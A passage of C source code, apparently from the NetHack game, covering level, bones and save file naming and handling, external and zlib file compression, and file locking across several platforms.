strerror(errno))) #endif details = ""; Sprintf(panicbuf2, "\"%s\", (%d) %s", fqn_prefix[prefcnt], errno, details); paniclog(panicbuf1, panicbuf2); failcount++; } } if (failcount) return 0; else #endif return 1; } /* fopen a file, with OS-dependent bells and whistles */ /* NOTE: a simpler version of this routine also exists in util/dlb_main.c */ FILE * fopen_datafile(filename, mode, prefix) const char *filename, *mode; int prefix; { FILE *fp; filename = fqname(filename, prefix, prefix == TROUBLEPREFIX ? 3 : 0); fp = fopen(filename, mode); return fp; } /* ---------- BEGIN LEVEL FILE HANDLING ----------- */ #ifdef MFLOPPY /* Set names for bones[] and lock[] */ void set_lock_and_bones() { if (!ramdisk) { Strcpy(levels, permbones); Strcpy(bones, permbones); } append_slash(permbones); append_slash(levels); #ifdef AMIGA strncat(levels, bbs_id, PATHLEN); #endif append_slash(bones); Strcat(bones, "bonesnn.*"); Strcpy(lock, levels); #ifndef AMIGA Strcat(lock, alllevels); #endif return; } #endif /* MFLOPPY */ /* Construct a file name for a level-type file, which is of the form * something.level (with any old level stripped off). * This assumes there is space on the end of 'file' to append * a two digit number. This is true for 'level' * but be careful if you use it for other things -dgk */ void set_levelfile_name(file, lev) char *file; int lev; { char *tf; tf = rindex(file, '.'); if (!tf) tf = eos(file); Sprintf(tf, ".%d", lev); #ifdef VMS Strcat(tf, ";1"); #endif return; } int create_levelfile(lev, errbuf) int lev; char errbuf[]; { int fd; const char *fq_lock; if (errbuf) *errbuf = '\0'; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 0); #if defined(MICRO) || defined(WIN32) /* Use O_TRUNC to force the file to be shortened if it already * exists and is currently longer. */ #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) fd = open_levelfile_exclusively( fq_lock, lev, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY); else #endif fd = open(fq_lock, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, FCMASK); #else #ifdef MAC fd = maccreat(fq_lock, LEVL_TYPE); #else fd = creat(fq_lock, FCMASK); #endif #endif /* MICRO || WIN32 */ if (fd >= 0) level_info[lev].flags |= LFILE_EXISTS; else if (errbuf) /* failure explanation */ Sprintf(errbuf, "Cannot create file \"%s\" for level %d (errno %d).", lock, lev, errno); return fd; } int open_levelfile(lev, errbuf) int lev; char errbuf[]; { int fd; const char *fq_lock; if (errbuf) *errbuf = '\0'; set_levelfile_name(lock, lev); fq_lock = fqname(lock, LEVELPREFIX, 0); #ifdef MFLOPPY /* If not currently accessible, swap it in. */ if (level_info[lev].where != ACTIVE) swapin_file(lev); #endif #ifdef MAC fd = macopen(fq_lock, O_RDONLY | O_BINARY, LEVL_TYPE); #else #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) fd = open_levelfile_exclusively(fq_lock, lev, O_RDONLY | O_BINARY); else #endif fd = open(fq_lock, O_RDONLY | O_BINARY, 0); #endif /* for failure, return an explanation that our caller can use; settle for `lock' instead of `fq_lock' because the latter might end up being too big for nethack's BUFSZ */ if (fd < 0 && errbuf) Sprintf(errbuf, "Cannot open file \"%s\" for level %d (errno %d).", lock, lev, errno); return fd; } void delete_levelfile(lev) int lev; { /* * Level 0 might be created by port specific code that doesn't * call create_levfile(), so always assume that it exists. */ if (lev == 0 || (level_info[lev].flags & LFILE_EXISTS)) { set_levelfile_name(lock, lev); #ifdef HOLD_LOCKFILE_OPEN if (lev == 0) really_close(); #endif (void) unlink(fqname(lock, LEVELPREFIX, 0)); level_info[lev].flags &= ~LFILE_EXISTS; } } void clearlocks() { #ifdef HANGUPHANDLING if (program_state.preserve_locks) return; #endif #if !defined(PC_LOCKING) && defined(MFLOPPY) && !defined(AMIGA) eraseall(levels, alllevels); if (ramdisk) eraseall(permbones, alllevels); #else { register int x; #ifndef NO_SIGNAL (void) signal(SIGINT, SIG_IGN); #endif #if defined(UNIX) || defined(VMS) sethanguphandler((void FDECL((*), (int) )) SIG_IGN); #endif /* can't access maxledgerno() before dungeons are created -dlc */ for (x = (n_dgns ? maxledgerno() : 0); x >= 0; x--) delete_levelfile(x); /* not all levels need be present */ } #endif /* ?PC_LOCKING,&c */ } #if defined(SELECTSAVED) /* qsort comparison routine */ STATIC_OVL int CFDECLSPEC strcmp_wrap(p, q) const void *p; const void *q; { #if defined(UNIX) && defined(QT_GRAPHICS) return strncasecmp(*(char **) p, *(char **) q, 16); #else return strncmpi(*(char **) p, *(char **) q, 16); #endif } #endif #ifdef HOLD_LOCKFILE_OPEN STATIC_OVL int open_levelfile_exclusively(name, lev, oflag) const char *name; int lev, oflag; { int reslt, fd; if (!lftrack.init) { lftrack.init = 1; lftrack.fd = -1; } if (lftrack.fd >= 0) { /* check for compatible access */ if (lftrack.oflag == oflag) { fd = lftrack.fd; reslt = lseek(fd, 0L, SEEK_SET); if (reslt == -1L) panic("open_levelfile_exclusively: lseek failed %d", errno); lftrack.nethack_thinks_it_is_open = TRUE; } else { really_close(); fd = sopen(name, oflag, SH_DENYRW, FCMASK); lftrack.fd = fd; lftrack.oflag = oflag; lftrack.nethack_thinks_it_is_open = TRUE; } } else { fd = sopen(name, oflag, SH_DENYRW, FCMASK); lftrack.fd = fd; lftrack.oflag = oflag; if (fd >= 0) lftrack.nethack_thinks_it_is_open = TRUE; } return fd; } void really_close() { int fd; if (lftrack.init) { fd = lftrack.fd; lftrack.nethack_thinks_it_is_open = FALSE; lftrack.fd = -1; lftrack.oflag = 0; if (fd != -1) (void) close(fd); } return; } int nhclose(fd) int fd; { if (lftrack.fd == fd) { really_close(); /* close it, but reopen it to hold it */ fd = open_levelfile(0, (char *) 0); lftrack.nethack_thinks_it_is_open = FALSE; return 0; } return close(fd); } #else /* !HOLD_LOCKFILE_OPEN */ int nhclose(fd) int fd; { return close(fd); } #endif /* ?HOLD_LOCKFILE_OPEN */ /* ---------- END LEVEL FILE HANDLING ----------- */ /* ---------- BEGIN BONES FILE HANDLING ----------- */ /* set up "file" to be file name for retrieving bones, and return a * bonesid to be read/written in the bones file. */ STATIC_OVL char * set_bonesfile_name(file, lev) char *file; d_level *lev; { s_level *sptr; char *dptr; /* * "bonD0.nn" = bones for level nn in the main dungeon; * "bonM0.T" = bones for Minetown; * "bonQBar.n" = bones for level n in the Barbarian quest; * "bon3D0.nn" = \ * "bon3M0.T" = > same as above, but for bones pool #3. * "bon3QBar.n" = / * * Return value for content validation skips "bon" and the * pool number (if present), making it feasible for the admin * to manually move a bones file from one pool to another by * renaming it. */ Strcpy(file, "bon"); #ifdef SYSCF if (sysopt.bones_pools > 1) { unsigned poolnum = min((unsigned) sysopt.bones_pools, 10); poolnum = (unsigned) ubirthday % poolnum; /* 0..9 */ Sprintf(eos(file), "%u", poolnum); } #endif dptr = eos(file); /* this used to be after the following Sprintf() and the return value was (dptr - 2) */ /* when this naming scheme was adopted, 'filecode' was one letter; 3.3.0 turned it into a three letter string (via roles[] in role.c); from that version through 3.6.0, 'dptr' pointed past the filecode and the return value of (dptr - 2) was wrong for bones produced in the quest branch, skipping the boneid character 'Q' and the first letter of the role's filecode; bones loading still worked because the bonesid used for validation had the same error */ Sprintf(dptr, "%c%s", dungeons[lev->dnum].boneid, In_quest(lev) ? urole.filecode : "0"); if ((sptr = Is_special(lev)) != 0) Sprintf(eos(dptr), ".%c", sptr->boneid); else Sprintf(eos(dptr), ".%d", lev->dlevel); #ifdef VMS Strcat(dptr, ";1"); #endif return dptr; } /* set up temporary file name for writing bones, to avoid another game's * trying to read from an uncompleted bones file. we want an uncontentious * name, so use one in the namespace reserved for this game's level files. * (we are not reading or writing level files while writing bones files, so * the same array may be used instead of copying.) */ STATIC_OVL char * set_bonestemp_name() { char *tf; tf = rindex(lock, '.'); if (!tf) tf = eos(lock); Sprintf(tf, ".bn"); #ifdef VMS Strcat(tf, ";1"); #endif return lock; } int create_bonesfile(lev, bonesid, errbuf) d_level *lev; char **bonesid; char errbuf[]; { const char *file; int fd; if (errbuf) *errbuf = '\0'; *bonesid = set_bonesfile_name(bones, lev); file = set_bonestemp_name(); file = fqname(file, BONESPREFIX, 0); #if defined(MICRO) || defined(WIN32) /* Use O_TRUNC to force the file to be shortened if it already * exists and is currently longer. */ fd = open(file, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, FCMASK); #else #ifdef MAC fd = maccreat(file, BONE_TYPE); #else fd = creat(file, FCMASK); #endif #endif if (fd < 0 && errbuf) /* failure explanation */ Sprintf(errbuf, "Cannot create bones \"%s\", id %s (errno %d).", lock, *bonesid, errno); #if defined(VMS) && !defined(SECURE) /* Re-protect bones file with world:read+write+execute+delete access. umask() doesn't seem very reliable; also, vaxcrtl won't let us set delete access without write access, which is what's really wanted. Can't simply create it with the desired protection because creat ANDs the mask with the user's default protection, which usually denies some or all access to world. */ (void) chmod(file, FCMASK | 007); /* allow other users full access */ #endif /* VMS && !SECURE */ return fd; } #ifdef MFLOPPY /* remove partial bonesfile in process of creation */ void cancel_bonesfile() { const char *tempname; tempname = set_bonestemp_name(); tempname = fqname(tempname, BONESPREFIX, 0); (void) unlink(tempname); } #endif /* MFLOPPY */ /* move completed bones file to proper name */ void commit_bonesfile(lev) d_level *lev; { const char *fq_bones, *tempname; int ret; (void) set_bonesfile_name(bones, lev); fq_bones = fqname(bones, BONESPREFIX, 0); tempname = set_bonestemp_name(); tempname = fqname(tempname, BONESPREFIX, 1); #if (defined(SYSV) && !defined(SVR4)) || defined(GENIX) /* old SYSVs don't have rename. Some SVR3's may, but since they * also have link/unlink, it doesn't matter. :-) */ (void) unlink(fq_bones); ret = link(tempname, fq_bones); ret += unlink(tempname); #else ret = rename(tempname, fq_bones); #endif if (wizard && ret != 0) pline("couldn't rename %s to %s.", tempname, fq_bones); } int open_bonesfile(lev, bonesid) d_level *lev; char **bonesid; { const char *fq_bones; int fd; *bonesid = set_bonesfile_name(bones, lev); fq_bones = fqname(bones, BONESPREFIX, 0); nh_uncompress(fq_bones); /* no effect if nonexistent */ #ifdef MAC fd = macopen(fq_bones, O_RDONLY | O_BINARY, BONE_TYPE); #else fd = open(fq_bones, O_RDONLY | O_BINARY, 0); #endif return fd; } int delete_bonesfile(lev) d_level *lev; { (void) set_bonesfile_name(bones, lev); return !(unlink(fqname(bones, BONESPREFIX, 0)) < 0); } /* assume we're compressing the recently read or created bonesfile, so the * file name is already set properly */ void compress_bonesfile() { nh_compress(fqname(bones, BONESPREFIX, 0)); } /* ---------- END BONES FILE HANDLING ----------- */ /* ---------- BEGIN SAVE FILE HANDLING ----------- */ /* set savefile name in OS-dependent manner from pre-existing plname, * avoiding troublesome characters */ void set_savefile_name(regularize_it) boolean regularize_it; { #ifdef VMS Sprintf(SAVEF, "[.save]%d%s", getuid(), plname); if (regularize_it) regularize(SAVEF + 7); Strcat(SAVEF, ";1"); #else #if defined(MICRO) Strcpy(SAVEF, SAVEP); #ifdef AMIGA strncat(SAVEF, bbs_id, PATHLEN); #endif { int i = strlen(SAVEP); #ifdef AMIGA /* plname has to share space with SAVEP and ".sav" */ (void) strncat(SAVEF, plname, FILENAME - i - 4); #else (void) strncat(SAVEF, plname, 8); #endif if (regularize_it) regularize(SAVEF + i); } Strcat(SAVEF, SAVE_EXTENSION); #else #if defined(WIN32) { static const char okchars[] = "*ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-."; const char *legal = okchars; char fnamebuf[BUFSZ], encodedfnamebuf[BUFSZ]; /* Obtain the name of the logged on user and incorporate * it into the name. */ Sprintf(fnamebuf, "%s", plname); if (regularize_it) ++legal; /* skip '*' wildcard character */ (void) fname_encode(legal, '%', fnamebuf, encodedfnamebuf, BUFSZ); Sprintf(SAVEF, "%s%s", encodedfnamebuf, SAVE_EXTENSION); } #else /* not VMS or MICRO or WIN32 */ Sprintf(SAVEF, "save/%d%s", (int) getuid(), plname); if (regularize_it) regularize(SAVEF + 5); /* avoid . or / in name */ #endif /* WIN32 */ #endif /* MICRO */ #endif /* VMS */ } #ifdef INSURANCE void save_savefile_name(fd) int fd; { (void) write(fd, (genericptr_t) SAVEF, sizeof(SAVEF)); } #endif #ifndef MICRO /* change pre-existing savefile name to indicate an error savefile */ void set_error_savefile() { #ifdef VMS { char *semi_colon = rindex(SAVEF, ';'); if (semi_colon) *semi_colon = '\0'; } Strcat(SAVEF, ".e;1"); #else #ifdef MAC Strcat(SAVEF, "-e"); #else Strcat(SAVEF, ".e"); #endif #endif } #endif /* create save file, overwriting one if it already exists */ int create_savefile() { const char *fq_save; int fd; fq_save = fqname(SAVEF, SAVEPREFIX, 0); #if defined(MICRO) || defined(WIN32) fd = open(fq_save, O_WRONLY | O_BINARY | O_CREAT | O_TRUNC, FCMASK); #else #ifdef MAC fd = maccreat(fq_save, SAVE_TYPE); #else fd = creat(fq_save, FCMASK); #endif #if defined(VMS) && !defined(SECURE) /* Make sure the save file is owned by the current process. That's the default for non-privileged users, but for priv'd users the file will be owned by the directory's owner instead of the user. */ #undef getuid (void) chown(fq_save, getuid(), getgid()); #define getuid() vms_getuid() #endif /* VMS && !SECURE */ #endif /* MICRO */ return fd; } /* open savefile for reading */ int open_savefile() { const char *fq_save; int fd; fq_save = fqname(SAVEF, SAVEPREFIX, 0); #ifdef MAC fd = macopen(fq_save, O_RDONLY | O_BINARY, SAVE_TYPE); #else fd = open(fq_save, O_RDONLY | O_BINARY, 0); #endif return fd; } /* delete savefile */ int delete_savefile() { (void) unlink(fqname(SAVEF, SAVEPREFIX, 0)); return 0; /* for restore_saved_game() (ex-xxxmain.c) test */ } /* try to open up a save file and prepare to restore it */ int restore_saved_game() { const char *fq_save; int fd; reset_restpref(); set_savefile_name(TRUE); #ifdef MFLOPPY if (!saveDiskPrompt(1)) return -1; #endif /* MFLOPPY */ fq_save = fqname(SAVEF, SAVEPREFIX, 0); nh_uncompress(fq_save); if ((fd = open_savefile()) < 0) return fd; if (validate(fd, fq_save) != 0) { (void) nhclose(fd), fd = -1; (void) delete_savefile(); } return fd; } #if defined(SELECTSAVED) char * plname_from_file(filename) const char *filename; { int fd; char *result = 0; Strcpy(SAVEF, filename); #ifdef COMPRESS_EXTENSION SAVEF[strlen(SAVEF) - strlen(COMPRESS_EXTENSION)] = '\0'; #endif nh_uncompress(SAVEF); if ((fd = open_savefile()) >= 0) { if (validate(fd, filename) == 0) { char tplname[PL_NSIZ]; get_plname_from_file(fd, tplname); result = dupstr(tplname); } (void) nhclose(fd); } nh_compress(SAVEF); return result; #if 0 /* --------- obsolete - used to be ifndef STORE_PLNAME_IN_FILE ----*/ #if defined(UNIX) && defined(QT_GRAPHICS) /* Name not stored in save file, so we have to extract it from the filename, which loses information (eg. "/", "_", and "." characters are lost. */ int k; int uid; char name[64]; /* more than PL_NSIZ */ #ifdef COMPRESS_EXTENSION #define EXTSTR COMPRESS_EXTENSION #else #define EXTSTR "" #endif if ( sscanf( filename, "%*[^/]/%d%63[^.]" EXTSTR, &uid, name ) == 2 ) { #undef EXTSTR /* "_" most likely means " ", which certainly looks nicer */ for (k=0; name[k]; k++) if ( name[k] == '_' ) name[k] = ' '; return dupstr(name); } else #endif /* UNIX && QT_GRAPHICS */ { return 0; } /* --------- end of obsolete code ----*/ #endif /* 0 - WAS STORE_PLNAME_IN_FILE*/ } #endif /* defined(SELECTSAVED) */ char ** get_saved_games() { #if defined(SELECTSAVED) int n, j = 0; char **result = 0; #ifdef WIN32 { char *foundfile; const char *fq_save; const char *fq_new_save; const char *fq_old_save; char **files = 0; int i; Strcpy(plname, "*"); set_savefile_name(FALSE); #if defined(ZLIB_COMP) Strcat(SAVEF, COMPRESS_EXTENSION); #endif fq_save = fqname(SAVEF, SAVEPREFIX, 0); n = 0; foundfile = foundfile_buffer(); if (findfirst((char *) fq_save)) { do { ++n; } while (findnext()); } if (n > 0) { files = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) files, 0, (n + 1) * sizeof(char *)); if (findfirst((char *) fq_save)) { i = 0; do { files[i++] = strdup(foundfile); } while (findnext()); } } if (n > 0) { result = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) result, 0, (n + 1) * sizeof(char *)); for(i = 0; i < n; i++) { char *r; r = plname_from_file(files[i]); if (r) { /* rename file if it is not named as expected */ Strcpy(plname, r); set_savefile_name(FALSE); fq_new_save = fqname(SAVEF, SAVEPREFIX, 0); fq_old_save = fqname(files[i], SAVEPREFIX, 1); if(strcmp(fq_old_save, fq_new_save) != 0 && !file_exists(fq_new_save)) rename(fq_old_save, fq_new_save); result[j++] = r; } } } free_saved_games(files); } #endif #if defined(UNIX) && defined(QT_GRAPHICS) /* posixly correct version */ int myuid = getuid(); DIR *dir; if ((dir = opendir(fqname("save", SAVEPREFIX, 0)))) { for (n = 0; readdir(dir); n++) ; closedir(dir); if (n > 0) { int i; if (!(dir = opendir(fqname("save", SAVEPREFIX, 0)))) return 0; result = (char **) alloc((n + 1) * sizeof(char *)); /* at most */ (void) memset((genericptr_t) result, 0, (n + 1) * sizeof(char *)); for (i = 0, j = 0; i < n; i++) { int uid; char name[64]; /* more than PL_NSIZ */ struct dirent *entry = readdir(dir); if (!entry) break; if (sscanf(entry->d_name, "%d%63s", &uid, name) == 2) { if (uid == myuid) { char filename[BUFSZ]; char *r; Sprintf(filename, "save/%d%s", uid, name); r = plname_from_file(filename); if (r) result[j++] = r; } } } closedir(dir); } } #endif #ifdef VMS Strcpy(plname, "*"); set_savefile_name(FALSE); j = vms_get_saved_games(SAVEF, &result); #endif /* VMS */ if (j > 0) { if (j > 1) qsort(result, j, sizeof (char *), strcmp_wrap); result[j] = 0; return result; } else if (result) { /* could happen if save files are obsolete */ free_saved_games(result); } #endif /* SELECTSAVED */ return 0; } void free_saved_games(saved) char **saved; { if (saved) { int i = 0; while (saved[i]) free((genericptr_t) saved[i++]); free((genericptr_t) saved); } } /* ---------- END SAVE FILE HANDLING ----------- */ /* ---------- BEGIN FILE COMPRESSION HANDLING ----------- */ #ifdef COMPRESS STATIC_OVL void redirect(filename, mode, stream, uncomp) const char *filename, *mode; FILE *stream; boolean uncomp; { if (freopen(filename, mode, stream) == (FILE *) 0) { (void) fprintf(stderr, "freopen of %s for %scompress failed\n", filename, uncomp ? "un" : ""); nh_terminate(EXIT_FAILURE); } } /* * using system() is simpler, but opens up security holes and causes * problems on at least Interactive UNIX 3.0.1 (SVR3.2), where any * setuid is renounced by /bin/sh, so the files cannot be accessed. * * cf. child() in unixunix.c. */ STATIC_OVL void docompress_file(filename, uncomp) const char *filename; boolean uncomp; { char cfn[80]; FILE *cf; const char *args[10]; #ifdef COMPRESS_OPTIONS char opts[80]; #endif int i = 0; int f; #ifdef TTY_GRAPHICS boolean istty = WINDOWPORT("tty"); #endif Strcpy(cfn, filename); #ifdef COMPRESS_EXTENSION Strcat(cfn, COMPRESS_EXTENSION); #endif /* when compressing, we know the file exists */ if (uncomp) { if ((cf = fopen(cfn, RDBMODE)) == (FILE *) 0) return; (void) fclose(cf); } args[0] = COMPRESS; if (uncomp) args[++i] = "-d"; /* uncompress */ #ifdef COMPRESS_OPTIONS { /* we can't guarantee there's only one additional option, sigh */ char *opt; boolean inword = FALSE; Strcpy(opts, COMPRESS_OPTIONS); opt = opts; while (*opt) { if ((*opt == ' ') || (*opt == '\t')) { if (inword) { *opt = '\0'; inword = FALSE; } } else if (!inword) { args[++i] = opt; inword = TRUE; } opt++; } } #endif args[++i] = (char *) 0; #ifdef TTY_GRAPHICS /* If we don't do this and we are right after a y/n question *and* * there is an error message from the compression, the 'y' or 'n' can * end up being displayed after the error message. */ if (istty) mark_synch(); #endif f = fork(); if (f == 0) { /* child */ #ifdef TTY_GRAPHICS /* any error messages from the compression must come out after * the first line, because the more() to let the user read * them will have to clear the first line. This should be * invisible if there are no error messages. */ if (istty) raw_print(""); #endif /* run compressor without privileges, in case other programs * have surprises along the line of gzip once taking filenames * in GZIP. */ /* assume all compressors will compress stdin to stdout * without explicit filenames. this is true of at least * compress and gzip, those mentioned in config.h. */ if (uncomp) { redirect(cfn, RDBMODE, stdin, uncomp); redirect(filename, WRBMODE, stdout, uncomp); } else { redirect(filename, RDBMODE, stdin, uncomp); redirect(cfn, WRBMODE, stdout, uncomp); } (void) setgid(getgid()); (void) setuid(getuid()); (void) execv(args[0], (char *const *) args); perror((char *) 0); (void) fprintf(stderr, "Exec to %scompress %s failed.\n", uncomp ? "un" : "", filename); nh_terminate(EXIT_FAILURE); } else if (f == -1) { perror((char *) 0); pline("Fork to %scompress %s failed.", uncomp ? "un" : "", filename); return; } #ifndef NO_SIGNAL (void) signal(SIGINT, SIG_IGN); (void) signal(SIGQUIT, SIG_IGN); (void) wait((int *) &i); (void) signal(SIGINT, (SIG_RET_TYPE) done1); if (wizard) (void) signal(SIGQUIT, SIG_DFL); #else /* I don't think we can really cope with external compression * without signals, so we'll declare that compress failed and * go on. (We could do a better job by forcing off external * compression if there are no signals, but we want this for * testing with FailSafeC */ i = 1; #endif if (i == 0) { /* (un)compress succeeded: remove file left behind */ if (uncomp) (void) unlink(cfn); else (void) unlink(filename); } else { /* (un)compress failed; remove the new, bad file */ if (uncomp) { raw_printf("Unable to uncompress %s", filename); (void) unlink(filename); } else { /* no message needed for compress case; life will go on */ (void) unlink(cfn); } #ifdef TTY_GRAPHICS /* Give them a chance to read any error messages from the * compression--these would go to stdout or stderr and would get * overwritten only in tty mode. It's still ugly, since the * messages are being written on top of the screen, but at least * the user can read them. */ if (istty && iflags.window_inited) { clear_nhwindow(WIN_MESSAGE); more(); /* No way to know if this is feasible */ /* doredraw(); */ } #endif } } #endif /* COMPRESS */ #if defined(COMPRESS) || defined(ZLIB_COMP) #define UNUSED_if_not_COMPRESS /*empty*/ #else #define UNUSED_if_not_COMPRESS UNUSED #endif /* compress file */ void nh_compress(filename) const char *filename UNUSED_if_not_COMPRESS; { #if !defined(COMPRESS) && !defined(ZLIB_COMP) #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif #else docompress_file(filename, FALSE); #endif } /* uncompress file if it exists */ void nh_uncompress(filename) const char *filename UNUSED_if_not_COMPRESS; { #if !defined(COMPRESS) && !defined(ZLIB_COMP) #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif #else docompress_file(filename, TRUE); #endif } #ifdef ZLIB_COMP /* RLC 09 Mar 1999: Support internal ZLIB */ STATIC_OVL boolean make_compressed_name(filename, cfn) const char *filename; char *cfn; { #ifndef SHORT_FILENAMES /* Assume free-form filename with no 8.3 restrictions */ strcpy(cfn, filename); strcat(cfn, COMPRESS_EXTENSION); return TRUE; #else #ifdef SAVE_EXTENSION char *bp = (char *) 0; strcpy(cfn, filename); if ((bp = strstri(cfn, SAVE_EXTENSION))) { strsubst(bp, SAVE_EXTENSION, ".saz"); return TRUE; } else { /* find last occurrence of bon */ bp = eos(cfn); while (bp-- > cfn) { if (strstri(bp, "bon")) { strsubst(bp, "bon", "boz"); return TRUE; } } } #endif /* SAVE_EXTENSION */ return FALSE; #endif /* SHORT_FILENAMES */ } STATIC_OVL void docompress_file(filename, uncomp) const char *filename; boolean uncomp; { gzFile compressedfile; FILE *uncompressedfile; char cfn[256]; char buf[1024]; unsigned len, len2; if (!make_compressed_name(filename, cfn)) return; if (!uncomp) { /* Open the input and output files */ /* Note that gzopen takes "wb" as its mode, even on systems where fopen takes "r" and "w" */ uncompressedfile = fopen(filename, RDBMODE); if (!uncompressedfile) { pline("Error in zlib docompress_file %s", filename); return; } compressedfile = gzopen(cfn, "wb"); if (compressedfile == NULL) { if (errno == 0) { pline("zlib failed to allocate memory"); } else { panic("Error in docompress_file %d", errno); } fclose(uncompressedfile); return; } /* Copy from the uncompressed to the compressed file */ while (1) { len = fread(buf, 1, sizeof(buf), uncompressedfile); if (ferror(uncompressedfile)) { pline("Failure reading uncompressed file"); pline("Can't compress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(cfn); return; } if (len == 0) break; /* End of file */ len2 = gzwrite(compressedfile, buf, len); if (len2 == 0) { pline("Failure writing compressed file"); pline("Can't compress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(cfn); return; } } fclose(uncompressedfile); gzclose(compressedfile); /* Delete the file left behind */ (void) unlink(filename); } else { /* uncomp */ /* Open the input and output files */ /* Note that gzopen takes "rb" as its mode, even on systems where fopen takes "r" and "w" */ compressedfile = gzopen(cfn, "rb"); if (compressedfile == NULL) { if (errno == 0) { pline("zlib failed to allocate memory"); } else if (errno != ENOENT) { panic("Error in zlib docompress_file %s, %d", filename, errno); } return; } uncompressedfile = fopen(filename, WRBMODE); if (!uncompressedfile) { pline("Error in zlib docompress file uncompress %s", filename); gzclose(compressedfile); return; } /* Copy from the compressed to the uncompressed file */ while (1) { len = gzread(compressedfile, buf, sizeof(buf)); if (len == (unsigned) -1) { pline("Failure reading compressed file"); pline("Can't uncompress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(filename); return; } if (len == 0) break; /* End of file */ fwrite(buf, 1, len, uncompressedfile); if (ferror(uncompressedfile)) { pline("Failure writing uncompressed file"); pline("Can't uncompress %s.", filename); fclose(uncompressedfile); gzclose(compressedfile); (void) unlink(filename); return; } } fclose(uncompressedfile); gzclose(compressedfile); /* Delete the file left behind */ (void) unlink(cfn); } } #endif /* RLC 09 Mar 1999: End ZLIB patch */ /* ---------- END FILE COMPRESSION HANDLING ----------- */ /* ---------- BEGIN FILE LOCKING HANDLING ----------- */ static int nesting = 0; #if defined(NO_FILE_LINKS) || defined(USE_FCNTL) /* implies UNIX */ static int lockfd = -1; /* for lock_file() to pass to unlock_file() */ #endif #ifdef USE_FCNTL struct flock sflock; /* for unlocking, same as above */ #endif #define HUP if (!program_state.done_hup) #ifndef USE_FCNTL STATIC_OVL char * make_lockname(filename, lockname) const char *filename; char *lockname; { #if defined(UNIX) || defined(VMS) || defined(AMIGA) || defined(WIN32) \ || defined(MSDOS) #ifdef NO_FILE_LINKS Strcpy(lockname, LOCKDIR); Strcat(lockname, "/"); Strcat(lockname, filename); #else Strcpy(lockname, filename); #endif #ifdef VMS { char *semi_colon = rindex(lockname, ';'); if (semi_colon) *semi_colon = '\0'; } Strcat(lockname, ".lock;1"); #else Strcat(lockname, "_lock"); #endif return lockname; #else /* !(UNIX || VMS || AMIGA || WIN32 || MSDOS) */ #ifdef PRAGMA_UNUSED #pragma unused(filename) #endif lockname[0] = '\0'; return (char *) 0; #endif } #endif /* !USE_FCNTL */ /* lock a file */ boolean lock_file(filename, whichprefix, retryct) const char *filename; int whichprefix; int retryct; { #if defined(PRAGMA_UNUSED) && !(defined(UNIX) || defined(VMS)) \ && !(defined(AMIGA) || defined(WIN32) || defined(MSDOS)) #pragma unused(retryct) #endif #ifndef USE_FCNTL char locknambuf[BUFSZ]; const char *lockname; #endif nesting++; if (nesting > 1) { impossible("TRIED TO NEST LOCKS"); return TRUE; } #ifndef USE_FCNTL lockname = make_lockname(filename, locknambuf); #ifndef NO_FILE_LINKS /* LOCKDIR should be subsumed by LOCKPREFIX */ lockname = fqname(lockname, LOCKPREFIX, 2); #endif #endif filename = fqname(filename, whichprefix, 0); #ifdef USE_FCNTL lockfd = open(filename, O_RDWR); if (lockfd == -1) { HUP raw_printf("Cannot open file %s. Is NetHack installed correctly?", filename); nesting--; return FALSE; } sflock.l_type = F_WRLCK; sflock.l_whence = SEEK_SET; sflock.l_start = 0; sflock.l_len = 0; #endif #if defined(UNIX) || defined(VMS) #ifdef USE_FCNTL while (fcntl(lockfd, F_SETLK, &sflock) == -1) { #else #ifdef NO_FILE_LINKS while ((lockfd = open(lockname, O_RDWR | O_CREAT | O_EXCL, 0666)) == -1) { #else while (link(filename, lockname) == -1) { #endif #endif #ifdef USE_FCNTL if (retryct--) { HUP raw_printf( "Waiting for release of fcntl lock on %s. (%d retries left.)", filename, retryct); sleep(1); } else { HUP(void) raw_print("I give up. Sorry."); HUP raw_printf("Some other process has an unnatural grip on %s.", filename); nesting--; return FALSE; } #else int errnosv = errno; switch (errnosv) { /* George Barbanis */ case EEXIST: if (retryct--) { HUP raw_printf( "Waiting for access to %s. (%d retries left).", filename, retryct); #if defined(SYSV) || defined(ULTRIX) || defined(VMS) (void) #endif sleep(1); } else { HUP(void) raw_print("I give up. Sorry."); HUP raw_printf("Perhaps there is an old %s around?", lockname); nesting--; return FALSE; } break; case ENOENT: HUP raw_printf("Can't find file %s to lock!", filename); nesting--; return FALSE; case EACCES: HUP raw_printf("No write permission to lock %s!", filename); nesting--; return FALSE; #ifdef VMS /* c__translate(vmsfiles.c) */ case EPERM: /* could be misleading, but usually right */ HUP raw_printf("Can't lock %s due to directory protection.", filename); nesting--; return FALSE; #endif case EROFS: /* take a wild guess at the underlying cause */ HUP perror(lockname); HUP raw_printf("Cannot lock %s.", filename); HUP raw_printf( "(Perhaps you are running NetHack from inside the distribution package?)."); nesting--; return FALSE; default: HUP perror(lockname); HUP raw_printf("Cannot lock %s for unknown reason (%d).", filename, errnosv); nesting--; return FALSE; } #endif /* USE_FCNTL */ } #endif /* UNIX || VMS */ #if (defined(AMIGA) || defined(WIN32) || defined(MSDOS)) \ && !defined(USE_FCNTL) #ifdef AMIGA #define OPENFAILURE(fd) (!fd) lockptr = 0; #else #define OPENFAILURE(fd) (fd < 0) lockptr = -1; #endif while (--retryct && OPENFAILURE(lockptr)) { #if defined(WIN32) && !defined(WIN_CE) lockptr = sopen(lockname, O_RDWR | O_CREAT, SH_DENYRW, S_IWRITE); #else (void) DeleteFile(lockname); /* in case dead process was here first */ #ifdef AMIGA lockptr = Open(lockname, MODE_NEWFILE); #else lockptr = open(lockname, O_RDWR | O_CREAT | O_EXCL, S_IWRITE); #endif #endif if (OPENFAILURE(lockptr)) { raw_printf("Waiting for access to %s. 